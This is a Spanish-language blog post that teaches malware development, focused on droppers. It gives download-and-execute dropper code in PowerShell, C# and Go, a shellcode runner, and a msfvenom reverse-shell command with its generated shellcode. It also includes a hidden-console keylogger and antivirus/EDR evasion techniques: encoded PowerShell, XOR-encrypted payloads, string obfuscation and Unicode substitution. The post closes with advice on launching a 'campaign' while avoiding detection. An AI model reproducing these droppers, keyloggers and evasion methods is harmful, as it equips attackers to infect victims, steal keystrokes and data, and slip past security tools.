Que son los droppers, ejemplos básicos y técnicas de evasión.
WTF es un dropper?
Un dropper es un binario que, al ser ejecutado, descarga otro binario y lo ejecuta, actuando como un iniciador del malware real. Se programa de manera sencilla porque su naturaleza es desechable. Su utilidad radica en que es preferible que el sistema de seguridad, como un antivirus o un EDR, detecte y marque el dropper antes que el malware principal. De esta forma, se protege el núcleo de la acción principal del ataque.
Ejemplos básicos de droppers
Aquí te presento algunos ejemplos básicos en distintos lenguajes de programación. Estos ejemplos pueden servir como plantillas para editar y añadir pasos adicionales al dropper, haciendo que la descarga sea menos directa y, por lo tanto, más difícil de detectar. Es importante que incluyas funciones en el código o parámetros en el compilador/intérprete para ocultar la ventana del CMD cuando se ejecute el archivo.
PowerShell
$exeUrl = "https://example.com/archivo.exe"
$exePath = "$env:TEMP\archivo.exe"
Invoke-WebRequest -Uri $exeUrl -OutFile $exePath
Start-Process $exePath
C#
using System;
using System.Net;
using System.Diagnostics;
using System.IO;
class Program
{
static void Main()
{
string exeUrl = "https://example.com/archivo.exe";
string exePath = Path.Combine(Path.GetTempPath(), "archivo.exe");
using (WebClient client = new WebClient())
{
client.DownloadFile(exeUrl, exePath);
}
Process.Start(exePath);
}
}
Golang
package main
import (
"io"
"net/http"
"os"
"os/exec"
"path/filepath"
)
func main() {
exeUrl := "https://example.com/archivo.exe"
exePath := filepath.Join(os.TempDir(), "archivo.exe")
// Descargar el archivo
resp, err := http.Get(exeUrl)
if err != nil {
panic(err)
}
defer resp.Body.Close()
out, err := os.Create(exePath)
if err != nil {
panic(err)
}
defer out.Close()
_, err = io.Copy(out, resp.Body)
if err != nil {
panic(err)
}
cmd := exec.Command(exePath)
err = cmd.Start()
if err != nil {
panic(err)
}
}
Que cosas podría descargar un dropper?
- Shellcodes: Son pequeños fragmentos de código, en lenguaje de máquina, en formato hexadecimal que puede ser cualquier cosa, un exploit, una reverse shell o payload de algún C&C o algun ejecutable que haya sido transformado en shellcode con Donut. Para ejecutar shellcodes desde un dropper es recomendado descargarlo y no tenerlo hardcodeado en el código, también es necesario usar Syscalls (Windows API) para su ejecución, pero puedes preferir no usarlo como se enseña en este link.
#include <stdio.h>
#include <windows.h>
int main() {
// Shellcode almacenado en un array de bytes
unsigned char shellcode[] = {
0x90, 0x90, 0x90, 0x90, // NOP sled (esto es solo un ejemplo, reemplaza con tu shellcode real)
0x48, 0x31, 0xc0, // xor rax,rax
0x48, 0xff, 0xc0, // inc rax
0x48, 0xff, 0xc0, // inc rax
0x48, 0x89, 0xc7, // mov rdi,rax
0x48, 0xff, 0xc0, // inc rax
0x0f, 0x05 // syscall
};
void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(exec, shellcode, sizeof shellcode);
((void(*)())exec)();
// VirtualFree(exec, 0, MEM_RELEASE);
return 0;
}
Para generar shellcodes te recomiendo la herramienta de metasploit msfvenom
:
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.100.2 LPORT=443 EXITFUNC=thread -f c -b '\x00\x0a\x0d\x20'
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
Found 2 compatible encoders
Attempting to encode payload with 1 iterations of x64/xor
x64/xor succeeded with size 503 (iteration=0)
x64/xor chosen with final size 503
Payload size: 503 bytes
Final size of c file: 2144 bytes
unsigned char buf[] =
"\x48\x31\xc9\x48\x81\xe9\xc6\xff\xff\xff\x48\x8d\x05\xef"
"\xff\xff\xff\x48\xbb\x36\xf7\x30\x1f\xa3\xd4\xaa\x96\x48"
"\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xca\xbf\xb3"
"\xfb\x53\x3c\x6a\x96\x36\xf7\x71\x4e\xe2\x84\xf8\xc7\x60"
"\xbf\x01\xcd\xc6\x9c\x21\xc4\x56\xbf\xbb\x4d\xbb\x9c\x21"
"\xc4\x16\xbf\xbb\x6d\xf3\x9c\xa5\x21\x7c\xbd\x7d\x2e\x6a"
"\x9c\x9b\x56\x9a\xcb\x51\x63\xa1\xf8\x8a\xd7\xf7\x3e\x3d"
"\x5e\xa2\x15\x48\x7b\x64\xb6\x61\x57\x28\x86\x8a\x1d\x74"
"\xcb\x78\x1e\x73\x5f\x2a\x1e\x36\xf7\x30\x57\x26\x14\xde"
"\xf1\x7e\xf6\xe0\x4f\x28\x9c\xb2\xd2\xbd\xb7\x10\x56\xa2"
"\x04\x49\xc0\x7e\x08\xf9\x5e\x28\xe0\x22\xde\x37\x21\x7d"
"\x2e\x6a\x9c\x9b\x56\x9a\xb6\xf1\xd6\xae\x95\xab\x57\x0e"
"\x17\x45\xee\xef\xd7\xe6\xb2\x3e\xb2\x09\xce\xd6\x0c\xf2"
"\xd2\xbd\xb7\x14\x56\xa2\x04\xcc\xd7\xbd\xfb\x78\x5b\x28"
"\x94\xb6\xdf\x37\x27\x71\x94\xa7\x5c\xe2\x97\xe6\xb6\x68"
"\x5e\xfb\x8a\xf3\xcc\x77\xaf\x71\x46\xe2\x8e\xe2\x15\xda"
"\xd7\x71\x4d\x5c\x34\xf2\xd7\x6f\xad\x78\x94\xb1\x3d\xfd"
"\x69\xc9\x08\x6d\x56\x1d\xa3\xd9\xa4\x69\xc4\x02\x1f\xa3"
"\x95\xfc\xdf\xbf\x11\x78\x9e\x4f\x74\xab\x96\x36\xbe\xb9"
"\xfa\xea\x68\xa8\x96\x37\x4c\xf0\xb7\xc7\xd6\xeb\xc2\x7f"
"\x7e\xd4\x53\x2a\x25\xeb\x2c\x7a\x80\x16\x18\x5c\x01\xe6"
"\x1f\xdc\x9f\x31\x1e\xa3\xd4\xf3\xd7\x8c\xde\xb0\x74\xa3"
"\x2b\x7f\xc6\x66\xba\x01\xd6\xee\xe5\x6a\xde\xc9\x37\x78"
"\x96\x61\x9c\x55\x56\x7e\x7e\xf1\x5e\x19\x3e\xa5\x49\xd6"
"\x08\xe5\x57\x2a\x13\xc0\x86\x77\xaf\x7c\x96\x41\x9c\x23"
"\x6f\x77\x4d\xa9\xba\xd7\xb5\x55\x43\x7e\x76\xf4\x5f\xa1"
"\xd4\xaa\xdf\x8e\x94\x5d\x7b\xa3\xd4\xaa\x96\x36\xb6\x60"
"\x5e\xf3\x9c\x23\x74\x61\xa0\x67\x52\x92\x14\xc0\x9b\x6f"
"\xb6\x60\xfd\x5f\xb2\x6d\xd2\x12\xa3\x31\x1e\xeb\x59\xee"
"\xb2\x2e\x31\x30\x77\xeb\x5d\x4c\xc0\x66\xb6\x60\x5e\xf3"
"\x95\xfa\xdf\xc9\x37\x71\x4f\xea\x2b\x62\xdb\xbf\x36\x7c"
"\x96\x62\x95\x10\xef\xfa\xc8\xb6\xe0\x76\x9c\x9b\x44\x7e"
"\x08\xfa\x94\xad\x95\x10\x9e\xb1\xea\x50\xe0\x76\x6f\x5a"
"\x23\x94\xa1\x71\xa5\x05\x41\x17\x0b\xc9\x22\x78\x9c\x67"
"\xfc\x96\x90\x4a\xfd\xb0\xe4\x43\xa1\xaf\x2d\x71\xe4\x42"
"\x70\xc9\xd4\xf3\xd7\xbf\x2d\xcf\xca\xa3\xd4\xaa\x96";
- Payloads de Command and Control (C&C): Un dropper puede descargar exes propios de algún C&C, como meterpreter de Metasploit, implantes de Sliver, o agentes de Empire.
- Ransomware: Un tipo de malware cuyo modelo de negocio es ganar dinero cifrando los discos de tus víctimas. Sin embargo, si te descubren, te buscarán con la Interpol, el FBI y toda la caballería pesada.
- Stealers: Malware que se limita a robar información. Es uno de los menos detectados hoy en día, y la cantidad de stealers en el ciberespacio es abismal, dado que no genera mucho ruido al ejecutarse. Por lo general, roba datos del navegador, como contraseñas guardadas, historial de navegación, sesiones, archivos, o datos de programas como Microsoft Teams o juegos que utilizan lógica de sesiones, como Roblox.
- Programar una reverse shell: Un poco tryhard pero a mí me ha servido bastante, podrías usar protocolos como HTTPS, SSH, TCP/UDP, ICMP, DNS, gRPC o los que quieras, y puedes agregar una capa extra a la comunicación como algún cifrado mencionado anteriormente, por ejemplo, AES y añadirle como estructura Protobuf usando cifrado en la capa de transporte mTLS.
- Túnel proxy: a veces es necesario pivotear a la red interna mas que tener control de la máquina, en ese caso entonces es necesario ejecutar un túnel el cual te de acceso a ella, una herramienta útil es chisel o si necesitas exponer un puerto a internet existe frp.
- Keyloggers: Son programas que interceptan las pulsaciones de tu teclado y registran las teclas presionadas. Es probable que sean fácilmente detectables, ya que en su momento fueron muy populares y los antivirus se esforzaron en desarrollar métodos para identificarlos. Para poder interceptar las pulsaciones es necesario usar Syscalls (Windows API)
#include <windows.h>
#include <stdio.h>
// Nombre del archivo de registro
#define LOG_FILE "keys.log"
// Función para guardar la tecla en el archivo
void logKey(int key) {
FILE *file = fopen(LOG_FILE, "a+");
if (file != NULL) {
if (key == VK_SPACE)
fprintf(file, " ");
else if (key == VK_RETURN)
fprintf(file, "\n");
else if (key == VK_TAB)
fprintf(file, "\t");
else if (key == VK_BACK)
fprintf(file, "[BACKSPACE]");
else if (key == VK_SHIFT || key == VK_LSHIFT || key == VK_RSHIFT)
fprintf(file, "[SHIFT]");
else if (key == VK_CONTROL || key == VK_LCONTROL || key == VK_RCONTROL)
fprintf(file, "[CTRL]");
else if (key == VK_ESCAPE)
fprintf(file, "[ESC]");
else if (key == VK_END)
fprintf(file, "[END]");
else if (key == VK_HOME)
fprintf(file, "[HOME]");
else if (key == VK_LEFT)
fprintf(file, "[LEFT]");
else if (key == VK_UP)
fprintf(file, "[UP]");
else if (key == VK_RIGHT)
fprintf(file, "[RIGHT]");
else if (key == VK_DOWN)
fprintf(file, "[DOWN]");
else if (key == VK_DELETE)
fprintf(file, "[DELETE]");
else
fprintf(file, "%c", key);
fclose(file);
}
}
int main() {
// Ocultar la consola
ShowWindow(GetConsoleWindow(), SW_HIDE);
while (1) {
for (int key = 8; key <= 255; key++) {
// Si la tecla está presionada
if (GetAsyncKeyState(key) & 0x8000) {
logKey(key);
}
}
Sleep(10); // Para reducir la carga del procesador
}
return 0;
}
- Código PowerShell: Puedes hacer que tu dropper ejecute código PowerShell directamente. Aunque en los lenguajes mencionados anteriormente solo C# tiene la capacidad nativa de ejecutarlo, en los demás necesitarás ejecutarlo como un comando o utilizar alguna biblioteca de terceros. También te dejo este link que te será de utilidad para usar PowerShell.
using System;
using System.Management.Automation;
class Program
{
static void Main(string[] args)
{
string command = "Get-Process";
using (PowerShell powerShell = PowerShell.Create())
{
powerShell.AddScript(command);
var results = powerShell.Invoke();
foreach (var result in results)
{
Console.WriteLine(result.ToString());
}
}
}
}
Baits: Evadiendo y evitando ando
Aquí presento varias técnicas que pueden ser tanto sencillas como efectivas. Es importante tener en cuenta que no todas las técnicas mencionadas aquí podrán evadir todos los tipos de malware. Deberás investigar y probar por tu cuenta para ver cuáles funcionan mejor para ti. Aunque estas técnicas me han funcionado en el pasado, es posible que para cuando leas este post algunas de ellas ya estén obsoletas para ciertos tipos de malware. Por lo tanto, no te ilusiones demasiado. Úsalas como referencia, combínalas de manera creativa, o desarrolla tus propias variaciones a partir de ellas.
- Shellcode as a UUID: Esta técnica se popularizó después de que se realizara ingeniería inversa a las TTPs del grupo Lazarus. El usuario Cocomelonc publicó un post muy detallado sobre esta técnica, que recomiendo leer para obtener una comprensión más profunda.
- Técnica “Hacha”: Le di este nombre en honor a la antigua herramienta llamada Hacha. Consiste en dividir el malware en varias partes y luego unirlas en el dropper para su ejecución. Estas partes divididas pueden estar distribuidas en diferentes fuentes, y algunas pueden repetirse para garantizar redundancia en caso de que una de las fuentes falle o esté flaggeada.
- Descargar el malware desde un proveedor: El dropper no necesariamente tiene que descargar el malware desde un servidor HTTP, también lo puede hacer desde una base de datos, servidores FTP , proveedores de almacenamiento de archivos como Dropbox, AWS S3, Google Cloud Storage, Microsoft Azure Blob Storage, DigitalOcean Spaces, Cloudflare R2 o servidores self-hosted como MinIO.
- Ofuscar el nombre de las funciones y variables: No le pongas a tu función imAVirus (o a tu variable executeShell). Podrías ser mas ingenioso y que se llame imNotAVirus (tampoco es buena idea, pero si un nombre aleatorio, por ejemplo, darle cabezazos al teclado).
- Encoding en PowerShell: Aquí te comparto un ejemplo de script en Python que permite codificar un comando de PowerShell en Base64. Esta técnica ayuda a que la ejecución de funciones maliciosas sea menos evidente al analizar logs o historiales, dificultando su detección.
import base64
def powershell_to_base64_le(powershell_command):
encoded_command = powershell_command.encode('utf-16le')
base64_command = base64.b64encode(encoded_command).decode('utf-8')
obfuscated_command = f'powershell -EncodedCommand {base64_command}'
return obfuscated_command
if __name__ == "__main__":
comando_powershell = "Get-Process"
comando_ofuscado = powershell_to_base64_le(comando_powershell)
print(comando_ofuscado)
El comando se vería algo así:
powershell -EncodedCommand RwBlAHQALQBQAHIAbwBjAGUAcwBzAA==
- Uso de encoders y cifrados: Utiliza técnicas como XOR, RC2, RC4, Base64, AES, entre otras, ya sea de manera individual, combinada o como mejor se te ocurra en el malware. Esto permite que pase más desapercibido durante la descarga y almacenamiento. Te dejo un ejemplo:
encoder.py
def xor_encrypt(input_file, output_file, key):
with open(input_file, 'rb') as f_in:
data = f_in.read()
encrypted_data = bytearray(data)
for i in range(len(encrypted_data)):
encrypted_data[i] ^= key
with open(output_file, 'wb') as f_out:
f_out.write(encrypted_data)
if __name__ == "__main__":
input_file = "programa.exe"
output_file = "programa_cifrado.exe"
key = 0xAB
xor_encrypt(input_file, output_file, key)
print(f"Archivo {output_file} creado y cifrado con la clave {key}.")
decoder.cs
using System;
using System.IO;
class Program
{
static void Main(string[] args)
{
string inputFile = "programa_cifrado.exe";
string outputFile = "programa_descifrado.exe";
byte key = 0xAB;
byte[] encryptedData = File.ReadAllBytes(inputFile);
byte[] decryptedData = new byte[encryptedData.Length];
for (int i = 0; i < encryptedData.Length; i++)
{
decryptedData[i] = (byte)(encryptedData[i] ^ key);
}
File.WriteAllBytes(outputFile, decryptedData);
Console.WriteLine($"Archivo {outputFile} creado y descifrado con la clave {key}.");
}
}
- Reemplazar strings por Bytearrays: Lo que hacemos técnicamente es remplazar una cadena de texto “hola mundo” en un Bytearray, esto se hace con el fin de que los strings no se vean con el comando strings:
byte[] byteArray = new byte[]{72, 101, 108, 108, 111, 32, 67, 35};
string result = Encoding.UTF8.GetString(byteArray);
Esto se aplicaría en un contexto como por ejemplo en decoder.cs anterior:
using System;
using System.IO;
using System.Text;
class Program
{
static void Main(string[] args)
{
// Arrays de bytes para los nombres de archivo
byte[] inputFileBytes = new byte[]{112, 114, 111, 103, 114, 97, 109, 97, 95, 99, 105, 102, 114, 97, 100, 111, 46, 101, 120, 101}; // "programa_cifrado.exe"
byte[] outputFileBytes = new byte[]{112, 114, 111, 103, 114, 97, 109, 97, 95, 100, 101, 115, 99, 105, 102, 114, 97, 100, 111, 46, 101, 120, 101}; // "programa_descifrado.exe"
// Convertir los arrays de bytes en strings
string inputFile = Encoding.ASCII.GetString(inputFileBytes);
string outputFile = Encoding.ASCII.GetString(outputFileBytes);
byte key = 0xAB;
byte[] encryptedData = File.ReadAllBytes(inputFile);
byte[] decryptedData = new byte[encryptedData.Length];
for (int i = 0; i < encryptedData.Length; i++)
{
decryptedData[i] = (byte)(encryptedData[i] ^ key);
}
File.WriteAllBytes(outputFile, decryptedData);
Console.WriteLine($"Archivo {outputFile} creado y descifrado con la clave {key}.");
}
}
- Técnica del ajedrez: Conocí esta técnica gracias a 3xploit666 y la encontré bastante interesante. Consiste en reemplazar los caracteres del malware por caracteres Unicode. Esto es particularmente útil si el payload se descarga en formato Base64, ya que los caracteres Unicode pueden ayudar a evadir detecciones. Aquí te dejo un ejemplo:
encoder.go
package main
import (
"encoding/base64"
"fmt"
"io/ioutil"
"strings"
)
func main() {
filePath := "archivo.exe"
data, err := ioutil.ReadFile(filePath)
if err != nil {
fmt.Println("Error al leer el archivo:", err)
return
}
encoded := base64.StdEncoding.EncodeToString(data)
chessMap := map[string]string{
"A": "♔", "B": "♕",
}
var chessEncoded strings.Builder
for _, char := range encoded {
if replacement, ok := chessMap[string(char)]; ok {
chessEncoded.WriteString(replacement)
} else {
chessEncoded.WriteString(string(char))
}
}
result := chessEncoded.String()
fmt.Println("Encoded to Chess Unicode:")
fmt.Println(result)
}
decoder.cs
using System;
using System.Collections.Generic;
using System.Text;
class Program
{
static void Main()
{
string encodedWithChess = "♔VGhpcyBpcyBhIHRlc3Q=";
Dictionary<string, char> chessMap = new Dictionary<string, char>
{
{ "♔", 'A' },
{ "♕", 'B' }
};
StringBuilder base64Encoded = new StringBuilder();
foreach (char ch in encodedWithChess)
{
string strCh = ch.ToString();
if (chessMap.ContainsKey(strCh))
{
base64Encoded.Append(chessMap[strCh]);
}
else
{
base64Encoded.Append(ch);
}
}
string base64String = base64Encoded.ToString();
try
{
byte[] decodedBytes = Convert.FromBase64String(base64String);
string decodedText = Encoding.UTF8.GetString(decodedBytes);
Console.WriteLine("Decoded text:");
Console.WriteLine(decodedText);
}
catch (FormatException ex)
{
Console.WriteLine("Error en la decodificación Base64: " + ex.Message);
}
}
}
El “Hola Mundo” del malware
El payload considerado por muchos como el “Hola Mundo” para probar que la evasión de Antivirus o EDR funciona es ejecutar MessageBox
de msfvenom
, puede ser en cualquier formato, como exe o shellcode:
msfvenom -p windows/x64/messagebox TEXT=hello TITLE=hello -f exe > msgbox.exe
Que no hacer
Jamás en tu vida por tu mamita linda, subas tu malware en scanners onlines ni tampoco lo ejecutes en maquinas con acceso a internet cuando lo estes probando o desarrollando. Es más, pruébalos en local en una maquina sin conexión a internet, con el sistema de seguridad activo. Cuando quieras desplegar la campaña, lo lanzas a la vida rezando para que no te lo detecten. Es la única forma segura que conozco. Si no sigues estas recomendaciones, es probable que tu caballo de madera dure menos que un peo (pedo).
Referencias
- https://cocomelonc.github.io/
- https://3xploit666.medium.com/
- https://vx-underground.org/
- https://0xpat.github.io/
- https://dominicbreuker.com/
Referencias del autor
- https://vay3t.medium.com/https-con-mtls-en-go-cbfcdef07c5e
- https://vay3t.medium.com/malware-development-instalaci%C3%B3n-del-entorno-de-desarrollo-de-malware-en-macos-3c347084599e